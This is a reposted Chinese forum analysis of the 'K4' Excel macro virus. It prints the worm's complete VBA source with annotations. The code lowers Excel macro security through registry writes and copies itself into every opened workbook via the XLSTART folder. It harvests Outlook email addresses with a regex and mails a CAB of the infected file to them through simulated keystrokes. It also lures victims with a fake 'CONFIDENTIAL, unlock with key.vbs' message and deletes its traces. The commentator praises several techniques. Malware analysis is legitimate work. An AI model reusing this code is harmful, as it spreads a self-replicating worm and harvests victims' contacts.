-
-
[转帖]新型K4宏病毒代码分析报告
-
发表于: 2013-4-2 16:01 5616
-
最近据说是新型的K4宏病毒到处肆虐，感染了办公室不少.xls文件，杀又杀不干净。对此互比较感兴趣，花了点时间跟踪了一下代码，并作了简要注释，基本了解该病毒的行为：
以ToDOLE模块中的代码，在虚拟机XP+Excel2003下跟踪并注释了关键代码：
'病毒行为主过程
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
'删除.xls文件里的ThisWorkBook表单，以便写入带毒宏代码;
Call delete_this_wk
'复制带毒宏代码
Call copytoworkbook
'如果当前文件已经感染，则保存。
If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
ThisWorkbook.Save
Application.ScreenUpdating = True
End If
End Sub
'以下过程向ThisWorkbook写入一段激活带毒代码；
Private Sub copytoworkbook()
Const DQUOTE = """"
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"
End With
End Sub
'删除临时工作表过程
Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
.DeleteLines 1, .CountOfLines
End With
End Sub
'病毒的主要行为框架
Function do_what()
If ThisWorkbook.Path <> Application.StartupPath Then
'检测并当前打开xls文件时的状态，并初始化一些准备工作。
RestoreAfterOpen
'通过修改注册信任VB项，为下面的感染提供可能性。
Call OpenDoor
'把带毒模块写入Excel的自动启动项目，实现感染传播
Call Microsofthobby
'病毒的主体行为（大致是收集outlook的用户邮件列表并发送到指定邮箱里）
Call ActionJudge
End If
End Function
'把带毒模块'k4.xls'附加进每个打开的xls文件里。
Function copystart(ByVal wb As Workbook)
On Error Resume Next
Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("k4.xls").VBProject
Set VBProj2 = wb.VBProject
'如果已经感染过，就退出
If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
End Function
'把'k4.xls'带毒模块附加进每个打开的xls文件里。
Function copymodule(ModuleName As String, _
FromVBProject As VBIDE.VBProject, _
ToVBProject As VBIDE.VBProject, _
OverwriteExisting As Boolean) As Boolean
On Error Resume Next
Dim VBComp As VBIDE.VBComponent
Dim FName As String
Dim CompName As String
Dim S As String
Dim SlashPos As Long
Dim ExtPos As Long
Dim TempVBComp As VBIDE.VBComponent
If FromVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If Trim(ModuleName) = vbNullString Then
copymodule = False
Exit Function
End If
If ToVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If FromVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
If ToVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
On Error Resume Next
Set VBComp = FromVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
FName = Environ("Temp") & "\" & ModuleName & ".bas"
If OverwriteExisting = True Then
If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
Err.Clear
Kill FName
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
End If
With ToVBProject.VBComponents
.Remove .Item(ModuleName)
End With
Else
Err.Clear
Set VBComp = ToVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
If Err.Number = 9 Then
Else
copymodule = False
Exit Function
End If
End If
End If
FromVBProject.VBComponents(ModuleName).Export FileName:=FName
SlashPos = InStrRev(FName, "\")
ExtPos = InStrRev(FName, ".")
CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
Set VBComp = Nothing
Set VBComp = ToVBProject.VBComponents(CompName)
If VBComp Is Nothing Then
ToVBProject.VBComponents.Import FileName:=FName
Else
If VBComp.Type = vbext_ct_Document Then
Set TempVBComp = ToVBProject.VBComponents.Import(FName)
With VBComp.CodeModule
.DeleteLines 1, .CountOfLines
S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
.InsertLines 1, S
End With
On Error GoTo 0
ToVBProject.VBComponents.Remove TempVBComp
End If
End If
Kill FName
copymodule = True
End Function
'在Excel的启动目录里保存带毒模块文件k4.xls，导致所有打开的.xls文件都自动附加上这个带毒模块。
Function Microsofthobby()
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath & "\k4.xls"
'如果文件已经存在，则先删除，再保存。
If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
ThisWorkbook.IsAddin = True
ThisWorkbook.SaveCopyAs MyFile
ThisWorkbook.IsAddin = False
Application.ScreenUpdating = True
End If
End Function
'修改注册表，降低Excel的宏安全级别，让Excel接受所有VB项目的运行。
Function OpenDoor()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
KValue1 = 1
KValue2 = 1
Call WReg(RK1, KValue1, "REG_DWORD")
Call WReg(RK2, KValue2, "REG_DWORD")
Call WReg(RK3, KValue1, "REG_DWORD")
Call WReg(RK4, KValue2, "REG_DWORD")
End Function
'子函数：实现注册表的写入功能。
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Dim oWshell
Set oWshell = CreateObject("WScript.Shell")
If ValueType = "" Then
oWshell.RegWrite strkey, Value
Else
oWshell.RegWrite strkey, Value, ValueType
End If
Set oWshell = Nothing
End Sub
'宏病毒自我复制的一个过程。创建一个隐藏的"Macro1"工作表，并写入一些内容，备用。
Private Sub Movemacro4(ByVal wb As Workbook)
On Error Resume Next
Dim sht As Object
wb.Sheets(1).Select
Sheets.Add Type:=xlExcel4MacroSheet
ActiveSheet.Name = "Macro1"
Range("A2").Select
ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
Range("A3").Select
ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
Range("A4").Select
ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
Range("A5").Select
ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
Range("A6").Select
ActiveCell.FormulaR1C1 = "=END.IF()"
Range("A7").Select
ActiveCell.FormulaR1C1 = "=RETURN()"
For Each sht In wb.Sheets
wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
Next
wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
End Sub
'尝试打开工作簿函数
Private Function WorkbookOpen(WorkBookName As String) As Boolean
WorkbookOpen = False
On Error GoTo WorkBookNotOpen
If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
WorkbookOpen = True
Exit Function
End If
WorkBookNotOpen:
End Function
'病毒主体行为集中在此过程，是个通过收集和发送邮件的方式把带毒文件传播的过程。
Private Sub ActionJudge()
Const T1 As Date = "10:00:00"
Const T2 As Date = "11:00:00"
Const T3 As Date = "14:00:00"
Const T4 As Date = "15:00:00"
Dim SentTime As Date, WshShell
'通过强大的WScript.Shell对象进行操作。
Set WshShell = CreateObject("WScript.Shell")
'判断是安装有Outlook邮件程序，如果没有安装，病毒行为中止。
If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") > 0 Then Exit Sub
'判断当前时间，在早上11－12点时，则读取已经搜索好的地址文件
If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
'读取已经收集好的邮件地址文件标志，如果不符合条件，则退出
If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
Exit Sub
'否则，将搜索里面的内容
Else
CreateFile "1", "D:\Collected_Address:frag1.txt"
search_in_OL
End If
'如果不在指定的时间段，则执行以下行为：
Else
'判断有没有安装OutLook，如果没有安装，则结束代码。
If Not if_outlook_open Then Exit Sub
'再判断一个特定时间段，
If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
Exit Sub
Else
SentTime = DateAdd("n", -21, Now)
On Error GoTo timeError
SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
timeError:
If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
Exit Sub
Else
'创建一个文件文件，保存导出的邮件地址文件
CreateFile "", "D:\Collected_Address:frag1.txt"
CreateFile Now, "D:\Collected_Address:frag2.txt"
'以邮件的形式将这些收集到的邮件地址打包并发送到指定的地址，病毒的主体行为目的在此！！
'即把带毒的vbs和xls文件打包好成cab文件，然后指发送到搜集到的Outlook里的用户列表地址中去，
'以此实现网络传播……
CreatCab_SendMail
End If
End If
End If
End Sub
'以下过程通过创建Wscript对象执行一段在后台搜索Outlook用户邮件地址列表的vbs脚本。
'奶奶的，写得不错，值得借鉴。
Private Sub search_in_OL()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object
On Error Resume Next
'启动强大的scripting.filesystemobject对象搜索文件
Set fs = CreateObject("scripting.filesystemobject")
Set WshShell = CreateObject("WScript.Shell")
'创建E:\KK文件夹，临时保存等一下用到的 "<.xls文件名>_clear.vbs"
If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
AddVbsFile_clear = "E:\KK\" & AttName & "_clear.vbs"
i = FreeFile
'准备在该.vbs文件中写入代码。
'大概意思：激活当前Outlook到最前窗口，并发送一系列按键（未测试这些按键对Outlook操作了什么）。
Open AddVbsFile_clear For Output Access Write As #i
Print #i, "On error Resume Next"
Print #i, "Dim wsh, tle, T0, i"
Print #i, " T0 = Timer"
Print #i, " Set wsh=createobject(""" & "wscript.shell""" & ")"
Print #i, " tle = """ & "Microsoft Office Outlook""" & ""
Print #i, "For i = 1 To 1000"
Print #i, " If Timer - T0 > 60 Then Exit For"
Print #i, " Call Refresh()"
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """ & "%a""" & ""
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """ & "{TAB}{TAB}""" & ""
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """ & "{Enter}""" & ""
Print #i, "Next"
Print #i, "Set wsh = Nothing"
Print #i, "wscript.quit"
Print #i, "Sub Refresh()"
Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
Print #i, " If Timer - T0 > 60 Then Exit Sub"
Print #i, "Loop"
Print #i, " wscript.sleep 05"
Print #i, " wsh.SendKeys """ & "%{F4}""" & ""
Print #i, "End Sub"
Close (i)
'再生成一个"<.xls文件名>_Search.vbs"文件，并写入代码
'代码功能是在后台收集Outlook的好友邮件列表。看来作者对Outlook的用户列表文件内容研究很深入。
'奶奶的，居然还调用了“正则表达式”来提取邮件地址，真有两下子。
AddVbsFile_search = "E:\KK\" & AttName & "_Search.vbs"
i = FreeFile
Open AddVbsFile_search For Output Access Write As #i
Print #i, "On error Resume Next"
Print #i, "Const olFolderInbox = 6"
Print #i, "Dim conbinded_address,WshShell,sh,ts"
Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
Print #i, "Set TargetFolder = objFolder"
Print #i, "conbinded_address = """ & """" & ""
Print #i, "Set colItems = TargetFolder.Items"
Print #i, "wscript.sleep 300000"
Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
Print #i, "ts = Timer"
Print #i, "For Each objMessage in colItems"
Print #i, " If Timer - ts >55 then exit For"
Print #i, " conbinded_address = conbinded_address & valid_address(objMessage.Body)"
Print #i, "Next"
Print #i, "add_text conbinded_address, 8"
Print #i, "add_text all_non_same(ReadAllTextFile), 2"
Print #i, "WScript.Quit"
Print #i, ""
Print #i, "Private Function valid_address(source_data)"
Print #i, " Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
Print #i, " Dim regex, matchs, ss, arr()"
Print #i, " Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
Print #i, " Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
Print #i, ""
Print #i, " regex.Global = True"
'这里学习啦，提取邮件地址的正则！
Print #i, " regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
Print #i, " Set matchs = regex.Execute(source_data)"
Print #i, " ReDim trimed_arr(matchs.Count - 1)"
Print #i, " For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
Print #i, " trimed_arr(i) = matchs.Item(i) & vbCrLf"
Print #i, " Next"
Print #i, ""
Print #i, " For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, " oDict(trimed_arr(i)) = """ & """" & ""
Print #i, " Next"
Print #i, ""
Print #i, " If oDict.Count > 0 Then"
Print #i, " nonsame_arr = oDict.keys"
Print #i, " For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, " valid_address = valid_address & nonsame_arr(i)"
Print #i, " Next"
Print #i, " End If"
Print #i, " Set oDict = Nothing"
Print #i, "End Function"
Print #i, ""
'把搜索到的邮件地址字符串保存到以下新建的D:\Collected_Address\log.txt文件里去。
Print #i, "Private Sub add_text(inputed_string, input_frag)"
Print #i, " Dim objFSO, logfile, logtext, log_path, log_folder"
Print #i, " log_path = """ & "D:\Collected_Address""" & ""
Print #i, " Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, " On Error resume next"
Print #i, " Set log_folder = objFSO.CreateFolder(log_path)"
Print #i, ""
Print #i, " If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
Print #i, " Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
Print #i, " End If"
Print #i, " Set log_folder = Nothing"
Print #i, " Set logfile = Nothing"
Print #i, ""
Print #i, " Select Case input_frag"
Print #i, " Case 8"
Print #i, " Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
Print #i, " logtext.Write inputed_string"
Print #i, " logtext.Close"
Print #i, " Case 2"
Print #i, " Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
Print #i, " logtext.Write inputed_string"
Print #i, " logtext.Close"
Print #i, " End Select"
Print #i, " set objFSO = nothing"
Print #i, "End Sub"
Print #i, ""
Print #i, "Private Function ReadAllTextFile()"
Print #i, " Dim objFSO, FileName, MyFile"
Print #i, " FileName = """ & "D:\Collected_Address\log.txt""" & ""
Print #i, " Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, " Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
Print #i, " If MyFile.AtEndOfStream Then"
Print #i, " ReadAllTextFile = """ & """" & ""
Print #i, " Else"
Print #i, " ReadAllTextFile = MyFile.ReadAll"
Print #i, " End If"
Print #i, "set objFSO = nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Function all_non_same(source_data)"
Print #i, " Dim oDict, i, trimed_arr, nonsame_arr"
Print #i, " all_non_same = """ & """" & ""
Print #i, " Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
Print #i, ""
Print #i, " trimed_arr = Split(source_data, vbCrLf)"
Print #i, ""
Print #i, " For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, " oDict(trimed_arr(i)) = """ & """" & ""
Print #i, " Next"
Print #i, ""
Print #i, " If oDict.Count > 0 Then"
Print #i, " nonsame_arr = oDict.keys"
Print #i, " For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, " all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
Print #i, " Next"
Print #i, " End If"
Print #i, " Set oDict = Nothing"
Print #i, "End Function"
Close (i)
Application.WindowState = xlMaximized
'激活以上代码，当然是vbHide的形式
WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
Set WshShell = Nothing
End Sub
'以下过程是把 带毒模块和一个vbs脚本文 件通过makecab命令打包保存到 "E:\SORCE\<文件名>.cab"文件里。
'NND，这个过程写得也相当巧妙，值得学习！
Private Sub CreatCab_SendMail()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
Dim fs As Object, WshShell As Object
Address_list = get_ten_address
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("scripting.filesystemobject")
If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
mail_sub = "*" & AttName & "*Message*"
AddVbsFile = "E:\sorce\" & AttName & "_Key.vbs"
i = FreeFile
Open AddVbsFile For Output Access Write As #i
Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
Print #i, "On error Resume Next"
Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
Print #i, "sh.MinimizeAll"
Print #i, "Set sh = Nothing"
Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
Print #i, "Fso.CopyFile _"
Print #i, "WshShell.CurrentDirectory & """ & "\" & AttName & "*.CAB""" & "," & " " & """E:\KK\""" & ", True"
Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
Print #i, " WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
Print #i, "Next"
Print #i, "If Fso.FileExists(""" & "E:\KK\" & AttName & ".xls""" & ") = 0 then"
Print #i, " route = WshShell.CurrentDirectory & """ & "\" & AttName & ".xls"""
Print #i, " if Fso.FileExists(WshShell.CurrentDirectory & """ & "\" & AttName & ".xls""" & ")=0 then"
Print #i, " route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10) _"
Print #i, " & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
Print #i, " """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
Print #i, " End if"
Print #i, "else"
Print #i, " route = """ & "E:\KK\" & AttName & ".xls"""
Print #i, "End If"
Print #i, " set oexcel=createobject(""" & "excel.application""" & ")"
Print #i, " set owb=oexcel.workbooks.open(route)"
Print #i, " oExcel.Visible = True"
Print #i, "Set oExcel = Nothing"
Print #i, "Set oWb = Nothing"
Print #i, "Set WshShell = Nothing"
Print #i, "Set Fso = Nothing"
Print #i, "WScript.Quit"
Print #i, "Private Function ListDir (ByVal Path)"
Print #i, " Dim Filter, a, n, Folder, Files, File"
Print #i, " ReDim a(10)"
Print #i, " n = 0"
Print #i, " Set Folder = fso.GetFolder(Path)"
Print #i, " Set Files = Folder.Files"
Print #i, " For Each File In Files"
Print #i, " If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
Print #i, " If n > UBound(a) Then ReDim Preserve a(n*2)"
Print #i, " a(n) = File.Path"
Print #i, " n = n + 1"
Print #i, " End If"
Print #i, " Next"
Print #i, " ReDim Preserve a(n-1)"
Print #i, " ListDir = a"
Print #i, "End Function"
Close (i)
AddListFile = ThisWorkbook.Path & "\TEST.txt"
i = FreeFile
Open AddListFile For Output Access Write As #i
Print #i, "E:\sorce\" & AttName & "_Key.vbs"
Print #i, "E:\sorce\" & AttName & ".xls"
Close (i)
Application.ScreenUpdating = False
RestoreBeforeSend
ThisWorkbook.SaveCopyAs "E:\sorce\" & AttName & ".xls"
RestoreAfterOpen
c4$ = CurDir()
ChDrive Left(ThisWorkbook.Path, 3) '"C:\"
ChDir ThisWorkbook.Path
'隐藏打包带病文件
WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False
Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
And fs.FileExists(ThisWorkbook.Path & "\" & AttName & ".CAB")
DoEvents
Loop
WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
'俗话说，偷吃要抹嘴啊~，删除那些临时文件。
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False
If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
ChDir c4$
Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
"", "E:\KK\" & AttName & ".CAB")
WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
Set WshShell = Nothing
Application.ScreenUpdating = True
End Sub
'群发邮件过程:这个过程太有趣了，如果真的被运用了，你一定会被惊呆！！！
'居然是通过激活当前正在运行的Outlook，然后模拟按键进行群发邮件，这个过程让你感到：你被远程控制了！！
Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
Dim objOL As Object
Dim itmNewMail As Object
If Not if_outlook_open Then Exit Sub
Set objOL = CreateObject("Outlook.Application")
Set itmNewMail = objOL.CreateItem(olMailItem)
With itmNewMail
.Subject = Subject
.Body = Body
.To = Email_Address
.CC = CC_email_add
.Attachments.Add Attachment
.DeleteAfterSubmit = True
End With
On Error GoTo continue
SendEmail:
itmNewMail.display
Debug.Print "setforth "
DoEvents
DoEvents
DoEvents
SendKeys "%s", Wait:=True
DoEvents
GoTo SendEmail
continue:
Set objOL = Nothing
Set itmNewMail = Nothing
End Sub
'以下函数通过读取进程列表，判断是否有Outlook运行。
Private Function if_outlook_open() As Boolean
Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
if_outlook_open = False
For Each obj In objs
If InStr(obj.Description, "OUTLOOK") > 0 Then
if_outlook_open = True
Exit For
End If
Next
End Function
'生成一随机数，不感兴趣。
Private Function RadomNine(length As Integer) As String
Dim jj As Integer, k As Integer, i As Integer
RadomNine = ""
If length <= 0 Then Exit Function
If length <= 10 Then
For i = 1 To length
RadomNine = RadomNine & "$$" & i
Next i
Exit Function
End If
jj = length / 10
Randomize
For i = 1 To 10
k = Int(Rnd * (jj * i - m - 1)) + 1
If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
m = m + k
Next
End Function
'从D:\Collected_Address\log.txt文件中读取已经收集好的邮件地址，用于群发。
Private Function get_ten_address() As String
Dim singleAddress_arr, krr, i As Integer
get_ten_address = ""
singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
For i = 1 To UBound(krr)
get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
Next i
End Function
'调用FSO对象读取指定文件的属性
Private Function ReadOut(FullPath) As String
On Error Resume Next
Dim Fso, FileText
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
ReadOut = FileText.ReadAll
FileText.Close
End Function
'自定义一个创建文件过程，还带有标志呢，备用。
Private Sub CreateFile(FragMark, pathf)
On Error Resume Next
Dim Fso, FileText
'这是干嘛呢，"scRiPTinG.fiLEsysTeMoBjEcT"写得乱七八糟的，不就是Script.FileSystemObject对象嘛。
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
If Fso.FileExists(pathf) Then
Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
FileText.Write FragMark
FileText.Close
Else
Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
FileText.Write FragMark
FileText.Close
End If
End Sub
Private Sub RestoreBeforeSend()
Dim aa As Name, i_row As Integer, i_col As Integer
Dim sht As Object
Application.ScreenUpdating = False
Application.DisplayAlerts = False
On Error Resume Next
'以下清除在感染前写入的一些临时内容，出于隐蔽。
'历遍当前工作簿，如果隐藏代码段 Auto_Activate 的话，删除！！不留痕迹。
For Each aa In ThisWorkbook.Names
aa.Visible = True
If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
Next
'历遍当前工作表，如果有一个叫"Macro1"的话，删除！！不留痕迹。
For Each sht In ThisWorkbook.Sheets
If sht.Name = "Macro1" Then
sht.Visible = xlSheetVisible
sht.Delete
End If
Next
Sheets(1).Select
Sheets.Add
For Each sht In ThisWorkbook.Sheets
If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
Next
'以下在第2个工作表里的随机单元格里写入一些内容：
'提示新用户去执行vbs文件来解琐文件，目的是忽悠用户来激活宏病毒。
i_row = Int((15 * Rnd) + 1)
i_col = Int((6 * Rnd) + 1)
Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
Cells(i_row + 3, i_col) = "请用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解锁此文件."
With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
.Font.Bold = True
.Font.ColorIndex = 3
End With
Application.ScreenUpdating = True
End Sub
'删除当前表中"A1:F15"区域所有含有带"CONFIDENTIAL"字样的内容。
Private Function RestoreAfterOpen()
Dim sht, del_sht, rng, del_frag As Boolean
On Error Resume Next
del_sht = ActiveSheet.Name
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each sht In ThisWorkbook.Sheets
If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
Next
For Each rng In Sheets(del_sht).Range("A1:F15")
If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
del_frag = True
Exit For
End If
Next
If del_frag = True Then Sheets(del_sht).Delete
Application.ScreenUpdating = True
End Function
===================
小结：
这个被称为“K4”的宏病毒，主要行为是一个自我复制和传播的过程，对Excel文件本身的系统没有明显的破坏行为。
宏病毒通过修改注册表，降低Excel的宏安全级别，使敏感代码获得运行权利。如果本宏病毒未能被执行，首次打开带毒.xls文件会提示“禁用宏，关闭。Please enable Macro”信息。
宏病毒被激活后会复制一个副本k4.xls到Excel的启动目录里：
C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART
保证个新建和打开的Excel文件都会自动附加一个k4带毒模块。实现本机感染。也就是说，如果这个目录下有一个该死的k4.xls，那说明你的机子中毒了。
